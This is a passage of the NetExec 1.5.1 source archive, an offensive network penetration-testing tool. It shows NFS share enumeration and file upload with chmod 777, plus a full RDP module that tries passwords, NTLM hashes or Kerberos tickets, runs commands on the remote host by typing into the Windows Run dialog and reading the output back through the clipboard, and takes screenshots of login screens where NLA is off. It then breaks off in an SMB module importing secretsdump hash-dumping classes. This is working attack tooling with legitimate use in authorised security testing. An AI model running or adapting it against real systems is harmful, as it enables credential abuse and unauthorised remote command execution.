0: self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}") return content = self.format_directory(dir_listing) # If there are more entries than we could receive, get cookie from last entry and continue while not dir_listing["resok"]["reply"]["eof"]: cookie_verf = dir_listing["resok"]["cookieverf"] cookie = content[-1]["cookie"] dir_listing = self.nfs3.readdirplus(curr_fh, cookie=cookie, cookie_verf=cookie_verf, auth=self.auth) more_content = self.format_directory(dir_listing) content.extend(more_content) # Sometimes the NFS Server does not return the attributes for the files # However, they can still be looked up individually is missing for item in content: if not item["name_attributes"]["present"]: try: res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth) item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"] item["name_attributes"]["present"] = True item["name_handle"]["handle"] = res["resok"]["object"] item["name_handle"]["present"] = True except Exception as e: self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}") # If the requested path is a file, we filter out all other files path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" if is_file: content = [x for x in content if x["name"].decode() == sub_path] path = path.rsplit("/", 1)[0] # Remove the file from the path self.print_directory(content, path) def print_directory(self, content, path): """ Highlight log the content of the directory provided by a READDIRPLUS call. Expects an FORMATED output of self.format_directory. """ # Sort items linux-like by name content = sorted(content, key=lambda x: x["name"].lower()) self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}") self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}") for item in content: if not item["name_attributes"]["present"] or not item["name_handle"]["present"]: uid = "-" perms = "----" file_size = "-" else: uid = item["name_attributes"]["attributes"]["uid"] is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-" read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"]) perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}" file_size = convert_size(item["name_attributes"]["attributes"]["size"]) self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}") def format_directory(self, raw_directory): """Convert the chained directory entries to a list of the entries""" if "resfail" in raw_directory: self.logger.debug("Insufficient Permissions, NFS returned 'resfail'") return {} items = [] nextentry = raw_directory["resok"]["reply"]["entries"][0] while nextentry: entry = nextentry nextentry = entry["nextentry"][0] if entry["nextentry"] else None entry.pop("nextentry") items.append(entry) return items def update_auth(self, file_handle): """Update the UID and GID for the file handle""" attrs = self.nfs3.getattr(file_handle, auth=self.auth) self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}") self.auth["uid"] = attrs["attributes"]["uid"] self.auth["gid"] = attrs["attributes"]["gid"] def convert_size(size_bytes): if size_bytes == 0: return "0B" size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB") i = math.floor(math.log(size_bytes, 1024)) p = math.pow(1024, i) s = round(size_bytes / p, 1) return f"{s}{size_name[i]}" NetExec-1.5.1/nxc/protocols/nfs/000077500000000000000000000000001514706431700164635ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/nfs/__init__.py000066400000000000000000000000001514706431700205620ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/nfs/database.py000066400000000000000000000037171514706431700206110ustar00rootroot00000000000000from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String from sqlalchemy.orm import declarative_base from nxc.database import BaseDB Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.CredentialsTable = None self.HostsTable = None self.LoggedinRelationsTable = None self.SharesTable = None super().__init__(db_engine) class Credential(Base): __tablename__ = "credentials" id = Column(Integer) username = Column(String) password = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class Host(Base): __tablename__ = "hosts" id = Column(Integer) ip = Column(String) hostname = Column(String) port = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ) class LoggedInRelation(Base): __tablename__ = "loggedin_relations" id = Column(Integer) cred_id = Column(Integer) host_id = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["cred_id"], ["credentials.id"]), ForeignKeyConstraint(["host_id"], ["hosts.id"]), ) class Share(Base): __tablename__ = "shares" id = Column(Integer) lir_id = Column(Integer) data = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["lir_id"], ["loggedin_relations.id"]), ) @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): self.CredentialsTable = self.reflect_table(self.Credential) self.HostsTable = self.reflect_table(self.Host) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) self.SharesTable = self.reflect_table(self.Share) NetExec-1.5.1/nxc/protocols/nfs/db_navigator.py000066400000000000000000000010251514706431700214720ustar00rootroot00000000000000from nxc.nxcdb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) NetExec-1.5.1/nxc/protocols/nfs/proto_args.py000066400000000000000000000023341514706431700212160ustar00rootroot00000000000000def proto_args(parser, parents): nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents) nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)") nfs_parser.add_argument("--nfs-timeout", type=int, default=5, help="NFS connection timeout (default: %(default)ss)") dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration") dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") return parser NetExec-1.5.1/nxc/protocols/rdp.py000066400000000000000000000640701514706431700170430ustar00rootroot00000000000000import asyncio import os from datetime import datetime from os import getenv from termcolor import colored from impacket.krb5.ccache import CCache from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh from nxc.logger import NXCAdapter from nxc.config import host_info_colors, process_secret from nxc.paths import NXC_PATH from aardwolf.connection import RDPConnection from aardwolf.commons.queuedata.constants import VIDEO_FORMAT from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE from aardwolf.commons.iosettings import RDPIOSettings from aardwolf.commons.target import RDPTarget from aardwolf.keyboard.layoutmanager import KeyboardLayoutManager from aardwolf.protocol.x224.constants import SUPP_PROTOCOLS from aardwolf.network.x224 import X224Network from aardwolf.network.tpkt import TPKTPacketizer from asyauth.common.credentials.ntlm import NTLMCredential from asyauth.common.credentials.kerberos import KerberosCredential from asyauth.common.constants import asyauthSecret from asysocks.unicomm.common.target import UniTarget, UniProto from asysocks.unicomm.client import UniClient class rdp(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.iosettings = RDPIOSettings() self.iosettings.video_out_format = VIDEO_FORMAT.RAW self.iosettings.clipboard_use_pyperclip = False self.protoflags_nla = [ SUPP_PROTOCOLS.SSL, SUPP_PROTOCOLS.RDP, ] self.protoflags = [ SUPP_PROTOCOLS.SSL, SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.HYBRID, SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.HYBRID_EX, ] width, height = args.res.upper().split("X") height = int(height) width = int(width) self.iosettings.video_width = width self.iosettings.video_height = height # servers dont support 8 any more :/ self.iosettings.video_bpp_min = 15 self.iosettings.video_bpp_max = 32 # PIL produces incorrect picture for some reason?! TODO: check bug self.iosettings.video_out_format = VIDEO_FORMAT.PNG # self.domain = None self.server_os = None self.url = None self.nla = True self.hybrid = False self.target = None self.auth = None self.rdp_error_status = { "0xc0000071": "STATUS_PASSWORD_EXPIRED", "0xc0000234": "STATUS_ACCOUNT_LOCKED_OUT", "0xc0000072": "STATUS_ACCOUNT_DISABLED", "0xc0000193": "STATUS_ACCOUNT_EXPIRED", "0xc000006E": "STATUS_ACCOUNT_RESTRICTION", "0xc000006F": "STATUS_INVALID_LOGON_HOURS", "0xc0000070": "STATUS_INVALID_WORKSTATION", "0xc000015B": "STATUS_LOGON_TYPE_NOT_GRANTED", "0xc0000224": "STATUS_PASSWORD_MUST_CHANGE", "0xc0000022": "STATUS_ACCESS_DENIED", "0xc000006d": "STATUS_LOGON_FAILURE", "0xc000006a": "STATUS_WRONG_PASSWORD ", "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", } connection.__init__(self, args, db, host) def proto_logger(self): import platform if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]: import sys class DevNull: def write(self, msg): pass sys.stderr = DevNull() self.logger = NXCAdapter( extra={ "protocol": "RDP", "host": self.host, "port": self.port, "hostname": self.hostname, } ) def print_host_info(self): nla = colored(f"nla:{self.nla}", host_info_colors[3], attrs=["bold"]) if self.nla else colored(f"nla:{self.nla}", host_info_colors[2], attrs=["bold"]) if self.domain is None: self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})") else: self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})") self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla) def create_conn_obj(self): self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) asyncio.run(self.check_nla()) for proto in reversed(self.protoflags): try: self.iosettings.supported_protocols = proto self.conn = RDPConnection( iosettings=self.iosettings, target=self.target, credentials=self.auth, ) asyncio.run(self.connect_rdp()) except OSError as e: if "Errno 104" not in str(e): return False except Exception as e: if "TCPSocket" in str(e): return False if "Reason:" not in str(e): try: info_domain = self.conn.get_extra_info() except Exception: pass else: self.domain = info_domain["dnsdomainname"] self.hostname = info_domain["computername"] self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"]) self.logger.extra["hostname"] = self.hostname break if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" if not self.kdcHost and self.domain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") self.target = RDPTarget( ip=self.host, hostname=self.hostname, port=self.port, domain=self.domain, dc_ip=self.domain, timeout=self.args.rdp_timeout, ) return True async def check_nla(self): self.logger.debug(f"Checking NLA for {self.host}") try: self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL self.conn = RDPConnection( iosettings=self.iosettings, target=self.target, credentials=None, ) packetizer = TPKTPacketizer() client = UniClient(self.target, packetizer) self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout) self.conn._x224net = X224Network(self.conn._connection) _, err = await asyncio.wait_for(self.conn._x224net.client_negotiate(0, SUPP_PROTOCOLS.SSL), timeout=self.args.rdp_timeout) # If no error SSL supported if SSL_NOT_ALLOWED_BY_SERVER error, plain RDP supported if err is None or "SSL_NOT_ALLOWED_BY_SERVER" in str(err): self.nla = False return except Exception: pass async def connect_rdp(self): _, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout) if err is not None: raise err def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): try: lmhash = "" nthash = "" # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") self.hash = nthash else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else "" self.hostname + "." + self.domain password = password if password else nthash if useCache: stype = asyauthSecret.CCACHE if not password: password = password if password else getenv("KRB5CCNAME") if "/" in password: self.logger.fail("Kerberos ticket need to be on the local directory") return False ccache = CCache.loadFile(getenv("KRB5CCNAME")) ticketCreds = ccache.credentials[0] username = ticketCreds["client"].prettyPrint().decode().split("@")[0] else: stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT kerberos_target = UniTarget( self.host, 88, UniProto.CLIENT_TCP, timeout=self.args.rdp_timeout, hostname=self.remoteName, dc_ip=self.kdcHost, domain=self.domain, proxies=None, dns=None, ) self.auth = KerberosCredential( target=kerberos_target, secret=password, username=username, domain=domain, stype=stype, ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True self.logger.success( "{}\\{}{} {}".format( domain, username, ( # Show what was used between cleartext, nthash, aesKey and ccache " from ccache" if useCache else f":{process_secret(kerb_pass)}" ), self.mark_pwned(), ) ) if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except Exception as e: if "KDC_ERR" in str(e): reason = None for word in self.rdp_error_status: if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}") elif "No such file" in str(e): self.logger.fail(e) else: reason = None for word in self.rdp_error_status: if word in str(e): reason = self.rdp_error_status[word] if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False def plaintext_login(self, domain, username, password): try: self.auth = NTLMCredential( secret=password, username=username, domain=domain, stype=asyauthSecret.PASS, ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except Exception as e: if "Authentication failed!" in str(e): self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") else: reason = None for word in self.rdp_error_status: if word in str(e): reason = self.rdp_error_status[word] if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( (f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False def hash_login(self, domain, username, ntlm_hash): try: self.auth = NTLMCredential( secret=ntlm_hash, username=username, domain=domain, stype=asyauthSecret.NT, ) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except Exception as e: if "Authentication failed!" in str(e): self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") else: reason = None for word in self.rdp_error_status: if word in str(e): reason = self.rdp_error_status[word] if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False async def _send_keystrokes(self, text, delay=0.02): """Helper method to send keystrokes to the RDP session""" for char in text: key_event = RDP_KEYBOARD_UNICODE() key_event.char = char key_event.is_pressed = True await self.conn.ext_in_queue.put(key_event) await asyncio.sleep(delay) async def _send_enter(self): """Helper method to send Enter key to the RDP session""" await self.conn.send_key_virtualkey("VK_RETURN", True, False) await asyncio.sleep(0.05) await self.conn.send_key_virtualkey("VK_RETURN", False, False) async def _send_win_r(self): """Helper method to send Windows+R key combination to open Run dialog""" try: self.logger.debug("Sending Win+R using scancode method") layout = KeyboardLayoutManager().get_layout_by_shortname("enus") win_scancode = layout.vk_to_scancode("VK_LWIN") await self.conn.send_key_scancode(win_scancode, True, False) await asyncio.sleep(0.1) r_scancode = layout.char_to_scancode("r")[0] await self.conn.send_key_scancode(r_scancode, True, False) await asyncio.sleep(0.1) await self.conn.send_key_scancode(r_scancode, False, False) await asyncio.sleep(0.1) await self.conn.send_key_scancode(win_scancode, False, False) await asyncio.sleep(0.5) self.logger.debug("Win+R sent successfully") return True except (ConnectionResetError, ConnectionError, OSError) as e: self.logger.debug(f"Connection error while waiting for clipboard: {e!s}") self.logger.fail("Connection was reset by the remote host") return False except Exception as e: self.logger.debug(f"Error sending Win+R: {e!s}") self.logger.debug("Using fallback approach for opening command prompt") return False async def execute_shell(self, payload, get_output, shell_type): # Append | clip to send output to clipboard if shell_type == "cmd": payload_with_clip = f"{payload} | clip & exit" elif shell_type == "powershell": payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit" else: self.logger.fail(f"Unsupported shell type: {shell_type}") return None self.logger.debug(f"Executing command: {payload_with_clip}") # Create a connection try: self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() except Exception as e: self.logger.debug(f"Error connecting to RDP: {e!s}") return None try: if get_output: self.logger.success("Waiting for clipboard to be ready...") clipboard_ready = False await asyncio.sleep(self.args.cmd_delay) timeout_counter = 0 while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds try: data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1) if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY": clipboard_ready = True self.logger.debug("Clipboard is ready!") break except asyncio.TimeoutError: timeout_counter += 1 continue except (ConnectionResetError, ConnectionError, OSError) as e: self.logger.debug(f"Connection error while waiting for clipboard: {e!s}") self.logger.fail("Connection was reset by the remote host") return "" except Exception as e: self.logger.debug(f"Error waiting for clipboard: {e!s}") self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved") return "" if not clipboard_ready: self.logger.fail("Clipboard cannot be initialized, no output can be retrieved") return "" # Wait for desktop to be available await asyncio.sleep(self.args.cmd_delay) try: # Try to open Run dialog using Windows+R self.logger.debug("Attempting to open Run dialog") win_r_success = await self._send_win_r() if win_r_success: self.logger.debug(f"Launching {shell_type} via Run dialog") await self._send_keystrokes(f"{shell_type}.exe") await self._send_enter() await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open else: # Fallback: Try direct command typing (assumes cmd may already be open) self.logger.debug(f"Sending {shell_type} command directly") await self._send_keystrokes(f"{shell_type}.exe") await self._send_enter() await asyncio.sleep(self.args.cmd_delay) # Type the command with | clip self.logger.debug(f"Typing command: {payload_with_clip}") await self._send_keystrokes(payload_with_clip) await self._send_enter() # Wait for command to execute await asyncio.sleep(self.args.cmd_delay) if get_output: # Get the current clipboard text self.logger.debug("Getting clipboard content...") clipboard_text = await self.conn.get_current_clipboard_text() if clipboard_text: self.logger.debug("Command output retrieved from clipboard:") for line in clipboard_text.lstrip().strip("\n").splitlines(): self.logger.highlight(line) else: self.logger.fail("Clipboard is empty or contains non-text data") return clipboard_text else: self.logger.success("Executed command without retrieving output") self.logger.debug("Command execution completed") return None except (ConnectionResetError, ConnectionError, OSError) as e: self.logger.debug(f"Connection error during command execution: {e!s}") self.logger.fail("Connection was reset by the remote host during command execution") return None except Exception as e: self.logger.debug(f"Error during command execution: {e!s}") if "cannot unpack non-iterable NoneType object" in str(e): self.logger.fail("RDP connection was terminated unexpectedly") else: self.logger.fail(f"Command execution failed: {e!s}") return None except (ConnectionResetError, ConnectionError, OSError) as e: self.logger.debug(f"Connection error: {e!s}") self.logger.fail("Connection was reset by the remote host") return None except Exception as e: self.logger.debug(f"Unexpected error: {e!s}") self.logger.fail(f"Command execution failed: {e!s}") return None finally: # Always clean up the connection if self.conn is not None: self.logger.debug("Terminating RDP connection") try: await self.conn.terminate() except Exception as e: self.logger.debug(f"Error terminating connection: {e!s}") def execute(self, payload=None, shell_type="cmd"): """Execute a command via RDP""" if not payload: payload = self.args.execute get_output = bool(not self.args.no_output) self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds") try: result = asyncio.run(self.execute_shell(payload, get_output, shell_type)) if result: self.logger.debug("Command execution completed") return result except Exception as e: self.logger.error(f"Command execution error: {e!s}") if shell_type == "cmd": self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution") try: return self.execute(payload, shell_type="powershell") except Exception as e2: self.logger.fail(f"Execute command failed, error: {e2!s}") else: self.logger.fail(f"Execute command failed, error: {e!s}") def ps_execute(self): self.execute(payload=self.args.ps_execute, shell_type="powershell") async def screen(self): try: self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() except Exception: return await asyncio.sleep(5) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") def screenshot(self): asyncio.run(self.screen()) async def nla_screen(self): self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() except Exception as e: self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") return await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") return def nla_screenshot(self): if not self.nla: asyncio.run(self.nla_screen()) NetExec-1.5.1/nxc/protocols/rdp/000077500000000000000000000000001514706431700164625ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/rdp/__init__.py000066400000000000000000000000001514706431700205610ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/rdp/database.py000066400000000000000000000101011514706431700205710ustar00rootroot00000000000000from sqlalchemy import Column, Boolean, UniqueConstraint, Integer, PrimaryKeyConstraint, String, select from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import declarative_base from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger BaseTable = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.HostsTable = None super().__init__(db_engine) class Host(BaseTable): __tablename__ = "hosts" id = Column(Integer) ip = Column(String) port = Column(Integer) hostname = Column(String) domain = Column(String) os = Column(String) nla = Column(Boolean) __table_args__ = ( PrimaryKeyConstraint("id"), UniqueConstraint("ip"), ) @staticmethod def db_schema(db_conn): BaseTable.metadata.create_all(db_conn) def reflect_tables(self): self.HostsTable = self.reflect_table(self.Host) def add_host(self, ip, port, hostname, domain, os, nla): """ Check if this host has already been added to the database, if not, add it in. TODO: return inserted or updated row ids as a list """ hosts = [] q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.db_execute(q).all() nxc_logger.debug(f"rdp add_host() - hosts returned: {results}") # create new host if not results: new_host = { "ip": ip, "port": port, "hostname": hostname, "domain": domain, "os": os, "nla": nla } hosts = [new_host] # update existing hosts data else: for host in results: host_data = host._asdict() # only update column if it is being passed in if ip is not None: host_data["ip"] = ip if port is not None: host_data["port"] = port if hostname is not None: host_data["hostname"] = hostname if domain is not None: host_data["domain"] = domain if os is not None: host_data["os"] = os if nla is not None: host_data["nla"] = nla # only add host to be updated if it has changed if host_data not in hosts: hosts.append(host_data) nxc_logger.debug(f"Update Hosts: {hosts}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.db_execute(q, hosts) def get_hosts(self, filter_term=None, domain=None): """Return hosts from the database.""" q = select(self.HostsTable) # if we're returning a single host by ID if self.is_host_valid(filter_term): q = q.filter(self.HostsTable.c.id == filter_term) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # filtering nla False because this is the misconfiguration we are looking for elif filter_term == "nla": q = q.filter(self.HostsTable.c.nla == False) # noqa: E712 # if we're filtering by ip/hostname elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) results = self.db_execute(q).all() nxc_logger.debug(f"rdp hosts() - results: {results}") return results def is_host_valid(self, host_id): """Check if this host ID is valid.""" q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.db_execute(q).all() return len(results) > 0 NetExec-1.5.1/nxc/protocols/rdp/db_navigator.py000066400000000000000000000064601514706431700215010ustar00rootroot00000000000000from nxc.nxcdb import DatabaseNavigator, print_table, print_help from termcolor import colored import functools help_header = functools.partial(colored, color="cyan", attrs=["bold"]) help_kw = functools.partial(colored, color="green", attrs=["bold"]) class navigator(DatabaseNavigator): def help_hosts(self): help_string = """ By default prints all hosts Table format: | 'HostID', 'IP', 'Port', 'Hostname', 'Domain', 'OS', 'NLA' | Subcommands: nla - list hosts with NLA disabled """ print_help(help_string) def display_hosts(self, hosts): data = [ [ "HostID", "IP", "Port", "Hostname", "Domain", "OS", "NLA", ] ] for host in hosts: host_id = host[0] ip = host[1] port = host[2] hostname = host[3] domain = host[4] try: os = host[5].decode() except Exception: os = host[5] nla = host[6] data.append( [ host_id, ip, port, hostname, domain, os, nla ] ) print_table(data, title="Hosts") def do_hosts(self, line): filter_term = line.strip() if filter_term == "": hosts = self.db.get_hosts() self.display_hosts(hosts) else: hosts = self.db.get_hosts(filter_term=filter_term) if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: data = [ [ "HostID", "IP", "Port", "Hostname", "Domain", "OS", "NLA", ] ] for host in hosts: host_id = host[0] ip = host[1] port = host[2] hostname = host[3] domain = host[4] try: os = host[5].decode() except Exception: os = host[5] nla = host[6] data.append( [ host_id, ip, port, hostname, domain, os, nla ] ) print_table(data, title="Host") def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) NetExec-1.5.1/nxc/protocols/rdp/proto_args.py000066400000000000000000000037101514706431700212140ustar00rootroot00000000000000from nxc.helpers.args import DisplayDefaultsNotNone def proto_args(parser, parents): rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=parents, formatter_class=DisplayDefaultsNotNone) rdp_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") rdp_parser.add_argument("--port", type=int, default=3389, help="RDP port") rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection") rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled") dgroup = rdp_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot") egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success") egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image") egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format") cgroup = rdp_parser.add_argument_group("Command Execution") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command") cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") return parser NetExec-1.5.1/nxc/protocols/smb.py000077500000000000000000003224071514706431700170430ustar00rootroot00000000000000import ntpath import binascii import os import re import struct import ipaddress from Cryptodome.Hash import MD4 from textwrap import dedent from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.examples.secretsdump import ( RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, ) from impacket.examples.regsecrets import ( RemoteOperations as RegSecretsRemoteOperations, SAMHashes as 